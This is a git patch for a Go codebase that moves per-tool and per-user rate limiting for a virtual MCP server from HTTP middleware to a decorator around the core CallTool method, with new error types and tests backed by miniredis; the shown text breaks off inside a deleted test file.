From d5092b108a6461f2f8293c8dc5b6f0d1ac660f73 Mon Sep 17 00:00:00 2001 From: Sanskar Gurdasani <92817635+Sanskarzz@users.noreply.github.com> Date: Wed, 1 Jul 2026 02:48:51 +0530 Subject: [PATCH 01/66] Configure rate limits on VirtualMCPServer PR B 2 (#5522) This PR adds optimizer-aware vMCP rate limiting using the post-refactor core.VMCP decorator seam. PR #5276 wired VirtualMCPServer.spec.config.rateLimiting into the vMCP runtime. After the vMCP core refactor, optimizer mode resolves the call_tool meta-tool to the real backend tool before invoking core.VMCP.CallTool. That means rate limiting no longer needs HTTP parsed-request rewriting. It can sit below the optimizer at the core CallTool seam and key buckets directly by the resolved backend tool name. Follow-up to #5276 and aligned with the vMCP core refactor in #5606 . Fixes #4552 --- pkg/mcp/errors.go | 16 ++ pkg/ratelimit/errors.go | 44 ++++ pkg/ratelimit/limiter.go | 25 ++ pkg/ratelimit/limiter_test.go | 63 +++++ pkg/ratelimit/middleware.go | 54 ++-- pkg/vmcp/cli/serve.go | 12 +- pkg/vmcp/conversion/errors.go | 45 ++++ pkg/vmcp/ratelimit/decorator.go | 61 +++++ pkg/vmcp/ratelimit/decorator_test.go | 159 ++++++++++++ .../factory/{middleware.go => limiter.go} | 17 +- pkg/vmcp/ratelimit/factory/limiter_test.go | 223 +++++++++++++++++ pkg/vmcp/ratelimit/factory/middleware_test.go | 233 ------------------ pkg/vmcp/server/derive.go | 1 - pkg/vmcp/server/derive_test.go | 2 - pkg/vmcp/server/middleware_test.go | 50 ---- pkg/vmcp/server/serve.go | 5 - pkg/vmcp/server/serve_handlers.go | 7 +- pkg/vmcp/server/serve_optimizer.go | 3 +- pkg/vmcp/server/serve_optimizer_test.go | 111 ++++++++- pkg/vmcp/server/serve_session_test.go | 26 ++ pkg/vmcp/server/serve_test.go | 2 +- pkg/vmcp/server/server.go | 23 +- .../virtualmcp_rate_limiting_test.go | 20 +- 23 files changed, 829 insertions(+), 373 deletions(-) create mode 100644 pkg/mcp/errors.go create mode 100644 pkg/ratelimit/errors.go create mode 100644 pkg/vmcp/conversion/errors.go create mode 100644 pkg/vmcp/ratelimit/decorator.go create mode 100644 pkg/vmcp/ratelimit/decorator_test.go rename pkg/vmcp/ratelimit/factory/{middleware.go => limiter.go} (71%) create mode 100644 pkg/vmcp/ratelimit/factory/limiter_test.go delete mode 100644 pkg/vmcp/ratelimit/factory/middleware_test.go delete mode 100644 pkg/vmcp/server/middleware_test.go diff --git a/pkg/mcp/errors.go b/pkg/mcp/errors.go new file mode 100644 index 0000000000..1cc1aacf2d --- /dev/null +++ b/pkg/mcp/errors.go @@ -0,0 +1,16 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package mcp + +// CodedError is implemented by domain errors that should surface a stable error +// code and optional structured data in an MCP tool result. +// +// The mcp-go tool-handler seam maps returned Go errors to a generic JSON-RPC +// INTERNAL_ERROR, so Serve-path handlers convert these errors to IsError tool +// results with StructuredContent instead of returning them as handler errors. +type CodedError interface { + error + Code() int64 + Data() map[string]any +} diff --git a/pkg/ratelimit/errors.go b/pkg/ratelimit/errors.go new file mode 100644 index 0000000000..1f00743c67 --- /dev/null +++ b/pkg/ratelimit/errors.go @@ -0,0 +1,44 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package ratelimit + +import ( + "math" + "time" + + thvmcp "github.com/stacklok/toolhive/pkg/mcp" +) + +const ( + // CodeRateLimited is the JSON-RPC error code for rate-limited requests. + // Per RFC THV-0057: implementation-defined code in the -32000 to -32099 range. + CodeRateLimited int64 = -32029 + + // MessageRateLimited is the error message for rate-limited requests. + MessageRateLimited = "Rate limit exceeded" +) + +// RateLimitedError reports that a request exceeded its configured rate limit. +type RateLimitedError struct { + RetryAfter time.Duration +} + +var _ thvmcp.CodedError = (*RateLimitedError)(nil) + +func (*RateLimitedError) Error() string { + return MessageRateLimited +} + +// Code returns the ToolHive JSON-RPC-compatible code for rate-limited requests. +func (*RateLimitedError) Code() int64 { + return CodeRateLimited +} + +// Data returns structured retry metadata for transport adapters that cannot +// emit a custom JSON-RPC error object from the tool-handler seam. +func (e *RateLimitedError) Data() map[string]any { + return map[string]any{ + "retryAfterSeconds": int(math.Ceil(e.RetryAfter.Seconds())), + } +} diff --git a/pkg/ratelimit/limiter.go b/pkg/ratelimit/limiter.go index 3490c1cbaa..ad47764dbd 100644 --- a/pkg/ratelimit/limiter.go +++ b/pkg/ratelimit/limiter.go @@ -15,6 +15,7 @@ import ( "github.com/redis/go-redis/v9" v1beta1 "github.com/stacklok/toolhive/cmd/thv-operator/api/v1beta1" + "github.com/stacklok/toolhive/pkg/auth" "github.com/stacklok/toolhive/pkg/ratelimit/internal/bucket" ) @@ -36,6 +37,30 @@ type Decision struct { RetryAfter time.Duration } +// Allow checks whether identity may call toolName through limiter. +func Allow(ctx context.Context, limiter Limiter, identity *auth.Identity, toolName string) error { + if limiter == nil { + return nil + } + + // When no identity is present (unauthenticated), userID stays empty and + // per-user buckets are skipped — only shared limits apply. CEL validation + // ensures perUser rate limits require auth to be enabled. + var userID string + if identity != nil { + userID = identity.Subject + } + + decision, err := limiter.Allow(ctx, toolName, userID) + if err != nil { + return err + } + if !decision.Allowed { + return &RateLimitedError{RetryAfter: decision.RetryAfter} + } + return nil +} + // NewLimiter constructs a Limiter from CRD configuration. // Returns a no-op limiter (always allows) when crd is nil. // namespace and name identify the MCP server for Redis key derivation. diff --git a/pkg/ratelimit/limiter_test.go b/pkg/ratelimit/limiter_test.go index 147e22cd7e..c50ab9835f 100644 --- a/pkg/ratelimit/limiter_test.go +++ b/pkg/ratelimit/limiter_test.go @@ -4,6 +4,7 @@ package ratelimit import ( + "errors" "testing" "time" @@ -14,6 +15,7 @@ import ( metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" v1beta1 "github.com/stacklok/toolhive/cmd/thv-operator/api/v1beta1" + "github.com/stacklok/toolhive/pkg/auth" ) func newTestClient(t *testing.T) (*redis.Client, *miniredis.Miniredis) { @@ -38,6 +40,67 @@ func TestNewLimiter_NilCRDReturnsNoop(t *testing.T) { assert.True(t, d.Allowed) } +func TestAllowNilLimiterAllows(t *testing.T) { + t.Parallel() + + err := Allow(t.Context(), nil, &auth.Identity{PrincipalInfo: auth.PrincipalInfo{Subject: "alice"}}, "echo") + + require.NoError(t, err) +} + +func TestAllowPassesIdentitySubject(t *testing.T) { + t.Parallel() + + limiter := &recordingLimiter{} + identity := &auth.Identity{PrincipalInfo: auth.PrincipalInfo{Subject: "alice"}} + + err := Allow(t.Context(), limiter, identity, "echo") + + require.NoError(t, err) + assert.Equal(t, "echo", limiter.toolName) + assert.Equal(t, "alice", limiter.userID) +} + +func TestAllowNilIdentityUsesEmptyUserID(t *testing.T) { + t.Parallel() + + limiter := &recordingLimiter{} + + err := Allow(t.Context(), limiter, nil, "echo") + + require.NoError(t, err) + assert.Equal(t, "echo", limiter.toolName) + assert.Empty(t, limiter.userID) +} + +func TestAllowRateLimitedReturnsTypedError(t *testing.T) { + t.Parallel() + + limiter := &dummyLimiter{ + decision: &Decision{ + Allowed: false, + RetryAfter: 3 * time.Second, + }, + } + + err := Allow(t.Context(), limiter, nil, "echo") + + var limited *RateLimitedError + require.ErrorAs(t, err, &limited) + assert.Equal(t, 3*time.Second, limited.RetryAfter) +} + +func TestAllowPropagatesLimiterError(t *testing.T) { + t.Parallel() + + expected := errors.New("redis unavailable") + limiter := &dummyLimiter{err: expected} + + err := Allow(t.Context(), limiter, nil, "echo") + + require.ErrorIs(t, err, expected) +} + func TestNewLimiter_ZeroMaxTokens(t *testing.T) { t.Parallel() client, _ := newTestClient(t) diff --git a/pkg/ratelimit/middleware.go b/pkg/ratelimit/middleware.go index 78d1a35e4c..c1a842ab4f 100644 --- a/pkg/ratelimit/middleware.go +++ b/pkg/ratelimit/middleware.go @@ -6,7 +6,9 @@ package ratelimit import ( "context" "encoding/json" + "errors" "fmt" + "io" "log/slog" "math" "net/http" @@ -25,13 +27,6 @@ const ( // MiddlewareType is the type constant for the rate limit middleware. MiddlewareType = "ratelimit" - // CodeRateLimited is the JSON-RPC error code for rate-limited requests. - // Per RFC THV-0057: implementation-defined code in the -32000 to -32099 range. - CodeRateLimited int64 = -32029 - - // MessageRateLimited is the JSON-RPC error message for rate-limited requests. - MessageRateLimited = "Rate limit exceeded" - // redisPasswordEnvVar is the environment variable containing the Redis password. // Shared with session storage — the operator injects it from the same Secret. redisPasswordEnvVar = "THV_SESSION_REDIS_PASSWORD" //nolint:gosec // G101: env var name, not a credential @@ -49,7 +44,7 @@ type MiddlewareParams struct { // rateLimitMiddleware wraps rate limiting functionality for the factory pattern. type rateLimitMiddleware struct { handler types.MiddlewareFunction - client redis.UniversalClient + closer io.Closer } // Handler returns the middleware function used by the proxy. @@ -59,16 +54,16 @@ func (m *rateLimitMiddleware) Handler() types.MiddlewareFunction { // Close cleans up the Redis client. func (m *rateLimitMiddleware) Close() error { - if m.client != nil { - return m.client.Close() + if m.closer != nil { + return m.closer.Close() } return nil } -// NewMiddleware creates a Redis-backed rate limit middleware from typed params. -func NewMiddleware(params MiddlewareParams) (types.Middleware, error) { +// NewRedisLimiter creates a Redis-backed rate limiter from typed params. +func NewRedisLimiter(params MiddlewareParams) (Limiter, io.Closer, error) { if params.RedisAddr == "" { - return nil, fmt.Errorf("rate limit middleware requires a Redis address") + return nil, nil, fmt.Errorf("rate limit middleware requires a Redis address") } // TODO: share a Redis client builder with session storage to get TLS, @@ -84,18 +79,28 @@ func NewMiddleware(params MiddlewareParams) (types.Middleware, error) { defer pingCancel() if err := client.Ping(pingCtx).Err(); err != nil { _ = client.Close() - return nil, fmt.Errorf("rate limit middleware: failed to connect to Redis at %s: %w", params.RedisAddr, err) + return nil, nil, fmt.Errorf("rate limit middleware: failed to connect to Redis at %s: %w", params.RedisAddr, err) } limiter, err := NewLimiter(client, params.Namespace, params.ServerName, params.Config) if err != nil { _ = client.Close() - return nil, fmt.Errorf("failed to create rate limiter: %w", err) + return nil, nil, fmt.Errorf("failed to create rate limiter: %w", err) + } + + return limiter, client, nil +} + +// NewMiddleware creates a Redis-backed rate limit middleware from typed params. +func NewMiddleware(params MiddlewareParams) (types.Middleware, error) { + limiter, closer, err := NewRedisLimiter(params) + if err != nil { + return nil, err } return &rateLimitMiddleware{ handler: rateLimitHandler(limiter), - client: client, + closer: closer, }, nil } @@ -128,23 +133,18 @@ func rateLimitHandler(limiter Limiter) types.MiddlewareFunction { return } - // When no identity is present (unauthenticated), userID stays empty - // and per-user buckets are skipped — only shared limits apply. CEL - // validation ensures perUser rate limits require auth to be enabled. - var userID string - if identity, ok := auth.IdentityFromContext(r.Context()); ok { - userID = identity.Subject + identity, _ := auth.IdentityFromContext(r.Context()) + err := Allow(r.Context(), limiter, identity, parsed.ResourceID) + var limited *RateLimitedError + if errors.As(err, &limited) { + writeRateLimited(w, parsed.ID, limited.RetryAfter) + return } - decision, err := limiter.Allow(r.Context(), parsed.ResourceID, userID) if err != nil { slog.Warn("rate limit check failed, allowing request", "error", err) next.ServeHTTP(w, r) return } - if !decision.Allowed { - writeRateLimited(w, parsed.ID, decision.RetryAfter) - return - } next.ServeHTTP(w, r) }) } diff --git a/pkg/vmcp/cli/serve.go b/pkg/vmcp/cli/serve.go index 85cf93c4e2..453c14f02e 100644 --- a/pkg/vmcp/cli/serve.go +++ b/pkg/vmcp/cli/serve.go @@ -350,8 +350,8 @@ func Serve(ctx context.Context, cfg ServeConfig) error { // aggregation (agg feeds it via Config.Aggregator below). sessionFactory := vmcpsession.NewSessionFactory(outgoingRegistry) - // When the optimizer is enabled, its meta-tools must pass through the authz - // response filter so they appear in tools/list. + // When the optimizer is enabled, its meta-tools are pass-through tools. + // Authz uses this for optimizer-aware authorization/filtering. var passThroughTools map[string]struct{} if optCfg != nil { passThroughTools = map[string]struct{}{ @@ -389,19 +389,19 @@ func Serve(ctx context.Context, cfg ServeConfig) error { slog.Info(fmt.Sprintf("Incoming authentication configured: %s", vmcpCfg.IncomingAuth.Type)) namespace := vmcpNamespace() - rateLimitMiddleware, rateLimitCleanup, err := ratelimitfactory.NewMiddleware(ctx, ratelimitfactory.Config{ + rateLimiter, rateLimitCleanup, err := ratelimitfactory.NewLimiter(ctx, ratelimitfactory.Config{ Namespace: namespace, ServerName: vmcpCfg.Name, RateLimiting: vmcpCfg.RateLimiting, SessionStorage: vmcpCfg.SessionStorage, }) if err != nil { - return fmt.Errorf("failed to create rate limit middleware: %w", err) + return fmt.Errorf("failed to create rate limiter: %w", err) } if rateLimitCleanup != nil { defer func() { if closeErr := rateLimitCleanup(context.Background()); closeErr != nil { - slog.Error(fmt.Sprintf("failed to close rate limit middleware: %v", closeErr)) + slog.Error(fmt.Sprintf("failed to close rate limiter: %v", closeErr)) } }() } @@ -422,7 +422,7 @@ func Serve(ctx context.Context, cfg ServeConfig) error { AuthzMiddleware: authzMiddleware, AuthInfoHandler: authInfoHandler, PassthroughHeaders: vmcpCfg.PassthroughHeaders, - RateLimitMiddleware: rateLimitMiddleware, + RateLimiter: rateLimiter, AuthServer: embeddedAuthServer, TelemetryProvider: telemetryProvider, AuditConfig: vmcpCfg.Audit, diff --git a/pkg/vmcp/conversion/errors.go b/pkg/vmcp/conversion/errors.go new file mode 100644 index 0000000000..83058a514f --- /dev/null +++ b/pkg/vmcp/conversion/errors.go @@ -0,0 +1,45 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package conversion + +import ( + "errors" + + sdkmcp "github.com/mark3labs/mcp-go/mcp" + + thvmcp "github.com/stacklok/toolhive/pkg/mcp" + "github.com/stacklok/toolhive/pkg/vmcp" +) + +// ErrorToToolResult converts domain/tool execution errors into MCP tool results. +// +// mcp-go tool handlers cannot reliably carry custom JSON-RPC codes by returning +// Go errors: the SDK maps them to generic internal errors. For domain errors +// that opt into CodedError, preserve the code/data in StructuredContent instead. +func ErrorToToolResult(err error) *sdkmcp.CallToolResult { + var coded thvmcp.CodedError + if errors.As(err, &coded) { + return CodedErrorResult(err, coded) + } + if errors.Is(err, vmcp.ErrAuthorizationFailed) { + return sdkmcp.NewToolResultError("call denied by authorization policy") + } + return sdkmcp.NewToolResultError(err.Error()) +} + +// CodedErrorResult builds an IsError tool result carrying stable machine-readable +// error details in StructuredContent. message uses err.Error() so callers can wrap +// a coded error with context using %w without losing the code or data. +func CodedErrorResult(err error, coded thvmcp.CodedError) *sdkmcp.CallToolResult { + result := sdkmcp.NewToolResultError(err.Error()) + structured := map[string]any{ + "code": coded.Code(), + "message": err.Error(), + } + if data := coded.Data(); data != nil { + structured["data"] = data + } + result.StructuredContent = structured + return result +} diff --git a/pkg/vmcp/ratelimit/decorator.go b/pkg/vmcp/ratelimit/decorator.go new file mode 100644 index 0000000000..ff4f30f236 --- /dev/null +++ b/pkg/vmcp/ratelimit/decorator.go @@ -0,0 +1,61 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +// Package ratelimit applies rate limiting at the vMCP domain boundary. +package ratelimit + +import ( + "context" + "errors" + "log/slog" + + "github.com/stacklok/toolhive/pkg/auth" + baseratelimit "github.com/stacklok/toolhive/pkg/ratelimit" + "github.com/stacklok/toolhive/pkg/vmcp" + "github.com/stacklok/toolhive/pkg/vmcp/core" +) + +// decorator wraps a [core.VMCP] to rate-limit tool calls. Every method except +// CallTool is promoted from the embedded inner core unchanged. The decorator sits +// below the session optimizer, so name is already the resolved backend tool name. +type decorator struct { + core.VMCP + limiter baseratelimit.Limiter +} + +var _ core.VMCP = (*decorator)(nil) + +// NewDecorator wraps inner with vMCP rate limiting. +// +// inner must be non-nil; a nil inner is a composition-root wiring bug and panics +// rather than deferring the failure to the first promoted method call. A nil +// limiter means rate limiting is disabled and inner is returned unchanged. +func NewDecorator(inner core.VMCP, limiter baseratelimit.Limiter) core.VMCP { + if inner == nil { + panic("ratelimit: NewDecorator requires a non-nil inner VMCP") + } + if limiter == nil { + return inner + } + return &decorator{ + VMCP: inner, + limiter: limiter, + } +} + +// CallTool checks the rate limit for name before delegating to inner. At this +// seam name is already resolved by any outer optimizer layer, so per-tool bucket +// keys match the real backend tool instead of the optimizer call_tool meta-tool. +func (d *decorator) CallTool( + ctx context.Context, identity *auth.Identity, name string, + args map[string]any, meta map[string]any, +) (*vmcp.ToolCallResult, error) { + if err := baseratelimit.Allow(ctx, d.limiter, identity, name); err != nil { + var limited *baseratelimit.RateLimitedError + if errors.As(err, &limited) { + return nil, err + } + slog.WarnContext(ctx, "rate limit check failed, allowing tool call", "tool", name, "error", err) + } + return d.VMCP.CallTool(ctx, identity, name, args, meta) +} diff --git a/pkg/vmcp/ratelimit/decorator_test.go b/pkg/vmcp/ratelimit/decorator_test.go new file mode 100644 index 0000000000..cb0832ff31 --- /dev/null +++ b/pkg/vmcp/ratelimit/decorator_test.go @@ -0,0 +1,159 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package ratelimit + +import ( + "context" + "errors" + "testing" + "time" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/stacklok/toolhive/pkg/auth" + baseratelimit "github.com/stacklok/toolhive/pkg/ratelimit" + "github.com/stacklok/toolhive/pkg/vmcp" + "github.com/stacklok/toolhive/pkg/vmcp/core" +) + +type recordingLimiter struct { + toolName string + userID string + decision *baseratelimit.Decision + err error +} + +func (l *recordingLimiter) Allow(_ context.Context, toolName, userID string) (*baseratelimit.Decision, error) { + l.toolName = toolName + l.userID = userID + if l.err != nil { + return nil, l.err + } + if l.decision != nil { + return l.decision, nil + } + return &baseratelimit.Decision{Allowed: true}, nil +} + +type recordingCore struct { + core.VMCP + called bool + identity *auth.Identity + name string + args map[string]any + meta map[string]any + result *vmcp.ToolCallResult + err error +} + +func (c *recordingCore) CallTool( + _ context.Context, + identity *auth.Identity, + name string, + args map[string]any, + meta map[string]any, +) (*vmcp.ToolCallResult, error) { + c.called = true + c.identity = identity + c.name = name + c.args = args + c.meta = meta + if c.result != nil || c.err != nil { + return c.result, c.err + } + return &vmcp.ToolCallResult{StructuredContent: map[string]any{"ok": true}}, nil +} + +func TestNewDecoratorNilInnerPanics(t *testing.T) { + t.Parallel() + + require.Panics(t, func() { + NewDecorator(nil, &recordingLimiter{}) + }) +} + +func TestNewDecoratorNilLimiterReturnsInner(t *testing.T) { + t.Parallel() + + inner := &recordingCore{} + + got := NewDecorator(inner, nil) + + assert.Same(t, inner, got) +} + +func TestCallToolAllowedDelegatesWithResolvedToolName(t *testing.T) { + t.Parallel() + + limiter := &recordingLimiter{} + inner := &recordingCore{} + decorated := NewDecorator(inner, limiter) + identity := &auth.Identity{PrincipalInfo: auth.PrincipalInfo{Subject: "alice"}} + args := map[string]any{"message": "hello"} + meta := map[string]any{"trace": "abc"} + + result, err := decorated.CallTool(t.Context(), identity, "backend_a_echo", args, meta) + + require.NoError(t, err) + require.NotNil(t, result) + assert.True(t, inner.called) + assert.Same(t, identity, inner.identity) + assert.Equal(t, "backend_a_echo", inner.name) + assert.Equal(t, args, inner.args) + assert.Equal(t, meta, inner.meta) + assert.Equal(t, "backend_a_echo", limiter.toolName) + assert.Equal(t, "alice", limiter.userID) +} + +func TestCallToolRateLimitedDoesNotDelegate(t *testing.T) { + t.Parallel() + + limiter := &recordingLimiter{ + decision: &baseratelimit.Decision{ + Allowed: false, + RetryAfter: 5 * time.Second, + }, + } + inner := &recordingCore{} + decorated := NewDecorator(inner, limiter) + + result, err := decorated.CallTool(t.Context(), nil, "backend_a_echo", nil, nil) + + require.Error(t, err) + assert.Nil(t, result) + assert.False(t, inner.called) + var limited *baseratelimit.RateLimitedError + require.ErrorAs(t, err, &limited) + assert.Equal(t, 5*time.Second, limited.RetryAfter) +} + +func TestCallToolLimiterErrorFailsOpen(t *testing.T) { + t.Parallel() + + expected := errors.New("redis unavailable") + limiter := &recordingLimiter{err: expected} + inner := &recordingCore{} + decorated := NewDecorator(inner, limiter) + + result, err := decorated.CallTool(t.Context(), nil, "backend_a_echo", nil, nil) + + require.NoError(t, err) + require.NotNil(t, result) + assert.True(t, inner.called) +} + +func TestCallToolNilIdentityUsesEmptyUserID(t *testing.T) { + t.Parallel() + + limiter := &recordingLimiter{} + inner := &recordingCore{} + decorated := NewDecorator(inner, limiter) + + _, err := decorated.CallTool(t.Context(), nil, "backend_a_echo", nil, nil) + + require.NoError(t, err) + assert.True(t, inner.called) + assert.Empty(t, limiter.userID) +} diff --git a/pkg/vmcp/ratelimit/factory/middleware.go b/pkg/vmcp/ratelimit/factory/limiter.go similarity index 71% rename from pkg/vmcp/ratelimit/factory/middleware.go rename to pkg/vmcp/ratelimit/factory/limiter.go index 3460fa8e3d..a40ed5ccfd 100644 --- a/pkg/vmcp/ratelimit/factory/middleware.go +++ b/pkg/vmcp/ratelimit/factory/limiter.go @@ -1,20 +1,19 @@ // SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. // SPDX-License-Identifier: Apache-2.0 -// Package factory builds vMCP-specific rate-limit middleware. +// Package factory builds vMCP-specific rate-limit dependencies. package factory import ( "context" "fmt" - "net/http" "github.com/stacklok/toolhive/pkg/ratelimit" ratelimittypes "github.com/stacklok/toolhive/pkg/ratelimit/types" vmcpconfig "github.com/stacklok/toolhive/pkg/vmcp/config" ) -// Config contains the vMCP rate-limit middleware inputs. +// Config contains the vMCP rate-limit dependency inputs. type Config struct { Namespace string ServerName string @@ -22,11 +21,11 @@ type Config struct { SessionStorage *vmcpconfig.SessionStorageConfig } -// NewMiddleware creates Redis-backed rate-limit middleware for vMCP. -func NewMiddleware( +// NewLimiter creates a Redis-backed limiter for vMCP. +func NewLimiter( _ context.Context, cfg Config, -) (func(http.Handler) http.Handler, func(context.Context) error, error) { +) (ratelimit.Limiter, func(context.Context) error, error) { if cfg.RateLimiting == nil { return nil, nil, nil } @@ -37,7 +36,7 @@ func NewMiddleware( return nil, nil, fmt.Errorf("rate limiting requires Redis session storage address") } - middleware, err := ratelimit.NewMiddleware(ratelimit.MiddlewareParams{ + limiter, closer, err := ratelimit.NewRedisLimiter(ratelimit.MiddlewareParams{ Namespace: cfg.Namespace, ServerName: cfg.ServerName, Config: cfg.RateLimiting, @@ -49,7 +48,7 @@ func NewMiddleware( } cleanup := func(context.Context) error { - return middleware.Close() + return closer.Close() } - return middleware.Handler(), cleanup, nil + return limiter, cleanup, nil } diff --git a/pkg/vmcp/ratelimit/factory/limiter_test.go b/pkg/vmcp/ratelimit/factory/limiter_test.go new file mode 100644 index 0000000000..ca5c1d7b47 --- /dev/null +++ b/pkg/vmcp/ratelimit/factory/limiter_test.go @@ -0,0 +1,223 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package factory + +import ( + "context" + "testing" + "time" + + "github.com/alicebob/miniredis/v2" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" + + "github.com/stacklok/toolhive/pkg/ratelimit" + ratelimittypes "github.com/stacklok/toolhive/pkg/ratelimit/types" + vmcpconfig "github.com/stacklok/toolhive/pkg/vmcp/config" +) + +func TestNewLimiterDisabledWithoutConfig(t *testing.T) { + t.Parallel() + + limiter, cleanup, err := NewLimiter(t.Context(), Config{ + Namespace: "default", + ServerName: "vmcp", + }) + + require.NoError(t, err) + assert.Nil(t, limiter) + assert.Nil(t, cleanup) +} + +func TestNewLimiterRequiresRedisSessionStorage(t *testing.T) { + t.Parallel() + + limiter, cleanup, err := NewLimiter(t.Context(), Config{ + Namespace: "default", + ServerName: "vmcp", + RateLimiting: sharedRateLimitConfig(), + }) + + require.Error(t, err) + assert.Contains(t, err.Error(), "requires Redis session storage") + assert.Nil(t, limiter) + assert.Nil(t, cleanup) +} + +func TestNewLimiterRequiresRedisAddress(t *testing.T) { + t.Parallel() + + limiter, cleanup, err := NewLimiter(t.Context(), Config{ + Namespace: "default", + ServerName: "vmcp", + RateLimiting: sharedRateLimitConfig(), + SessionStorage: &vmcpconfig.SessionStorageConfig{ + Provider: "redis", + }, + }) + + require.Error(t, err) + assert.Contains(t, err.Error(), "requires Redis session storage address") + assert.Nil(t, limiter) + assert.Nil(t, cleanup) +} + +func TestNewLimiterRedisPingFailure(t *testing.T) { + t.Parallel() + + ctx, cancel := context.WithTimeout(t.Context(), 100*time.Millisecond) + defer cancel() + limiter, cleanup, err := NewLimiter(ctx, Config{ + Namespace: "default", + ServerName: "vmcp", + RateLimiting: sharedRateLimitConfig(), + SessionStorage: &vmcpconfig.SessionStorageConfig{ + Provider: "redis", + Address: "127.0.0.1:1", + }, + }) + + require.Error(t, err) + assert.Contains(t, err.Error(), "failed to connect to Redis") + assert.Nil(t, limiter) + assert.Nil(t, cleanup) +} + +func TestNewLimiterInvalidRateLimitConfig(t *testing.T) { + t.Parallel() + + mr := miniredis.RunT(t) + limiter, cleanup, err := NewLimiter(t.Context(), Config{ + Namespace: "default", + ServerName: "vmcp", + RateLimiting: &ratelimittypes.RateLimitConfig{ + Shared: &ratelimittypes.RateLimitBucket{ + MaxTokens: 0, + RefillPeriod: metav1.Duration{Duration: time.Minute}, + }, + }, + SessionStorage: &vmcpconfig.SessionStorageConfig{ + Provider: "redis", + Address: mr.Addr(), + }, + }) + + require.Error(t, err) + assert.Contains(t, err.Error(), "failed to create rate limiter") + assert.Nil(t, limiter) + assert.Nil(t, cleanup) +} + +func TestNewLimiterReturnsUsableLimiter(t *testing.T) { + t.Parallel() + + mr := miniredis.RunT(t) + limiter, cleanup, err := NewLimiter(t.Context(), Config{ + Namespace: "default", + ServerName: "vmcp", + RateLimiting: sharedRateLimitConfig(), + SessionStorage: &vmcpconfig.SessionStorageConfig{ + Provider: "redis", + Address: mr.Addr(), + }, + }) + require.NoError(t, err) + require.NotNil(t, limiter) + require.NotNil(t, cleanup) + t.Cleanup(func() { + require.NoError(t, cleanup(context.Background())) + }) + + err = ratelimit.Allow(t.Context(), limiter, nil, "backend_a_echo") + require.NoError(t, err) + + err = ratelimit.Allow(t.Context(), limiter, nil, "backend_a_echo") + var rateLimited *ratelimit.RateLimitedError + require.ErrorAs(t, err, &rateLimited) +} + +func TestNewLimiterPerUserSharedAcrossTools(t *testing.T) { + t.Parallel() + + mr := miniredis.RunT(t) + limiter, cleanup, err := NewLimiter(t.Context(), Config{ + Namespace: "default", + ServerName: "vmcp", + RateLimiting: &ratelimittypes.RateLimitConfig{ + PerUser: &ratelimittypes.RateLimitBucket{ + MaxTokens: 1, + RefillPeriod: metav1.Duration{Duration: time.Minute}, + }, + }, + SessionStorage: &vmcpconfig.SessionStorageConfig{ + Provider: "redis", + Address: mr.Addr(), + }, + }) + require.NoError(t, err) + require.NotNil(t, limiter) + t.Cleanup(func() { + require.NoError(t, cleanup(context.Background())) + }) + + first, err := limiter.Allow(t.Context(), "backend_a_echo", "alice") + require.NoError(t, err) + require.True(t, first.Allowed) + + second, err := limiter.Allow(t.Context(), "backend_b_echo", "alice") + require.NoError(t, err) + assert.False(t, second.Allowed) +} + +func TestNewLimiterUsesPostAggregationToolNames(t *testing.T) { + t.Parallel() + + mr := miniredis.RunT(t) + limiter, cleanup, err := NewLimiter(t.Context(), Config{ + Namespace: "default", + ServerName: "vmcp", + RateLimiting: &ratelimittypes.RateLimitConfig{ + Tools: []ratelimittypes.ToolRateLimitConfig{ + { + Name: "backend_a_echo", + Shared: &ratelimittypes.RateLimitBucket{ + MaxTokens: 1, + RefillPeriod: metav1.Duration{Duration: time.Minute}, + }, + }, + }, + }, + SessionStorage: &vmcpconfig.SessionStorageConfig{ + Provider: "redis", + Address: mr.Addr(), + }, + }) + require.NoError(t, err) + require.NotNil(t, limiter) + t.Cleanup(func() { + require.NoError(t, cleanup(context.Background())) + }) + + first, err := limiter.Allow(t.Context(), "backend_a_echo", "") + require.NoError(t, err) + require.True(t, first.Allowed) + + otherTool, err := limiter.Allow(t.Context(), "backend_b_echo", "") + require.NoError(t, err) + require.True(t, otherTool.Allowed) + + secondMatchingTool, err := limiter.Allow(t.Context(), "backend_a_echo", "") + require.NoError(t, err) + assert.False(t, secondMatchingTool.Allowed) +} + +func sharedRateLimitConfig() *ratelimittypes.RateLimitConfig { + return &ratelimittypes.RateLimitConfig{ + Shared: &ratelimittypes.RateLimitBucket{ + MaxTokens: 1, + RefillPeriod: metav1.Duration{Duration: time.Minute}, + }, + } +} diff --git a/pkg/vmcp/ratelimit/factory/middleware_test.go b/pkg/vmcp/ratelimit/factory/middleware_test.go deleted file mode 100644 index 7175593e0c..0000000000 --- a/pkg/vmcp/ratelimit/factory/middleware_test.go +++ /dev/null @@ -1,233 +0,0 @@ -// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. -// SPDX-License-Identifier: Apache-2.0 - -package factory - -import ( - "context" - "encoding/json" - "net/http" - "net/http/httptest" - "testing" - "time" - - "github.com/alicebob/miniredis/v2" - "github.com/stretchr/testify/assert" - "github.com/stretchr/testify/require" - metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" - - "github.com/stacklok/toolhive/pkg/auth" - mcpparser "github.com/stacklok/toolhive/pkg/mcp" - "github.com/stacklok/toolhive/pkg/ratelimit" - ratelimittypes "github.com/stacklok/toolhive/pkg/ratelimit/types" - vmcpconfig "github.com/stacklok/toolhive/pkg/vmcp/config" -) - -func TestNewMiddlewareDisabledWithoutConfig(t *testing.T) { - t.Parallel() - - middleware, cleanup, err := NewMiddleware(t.Context(), 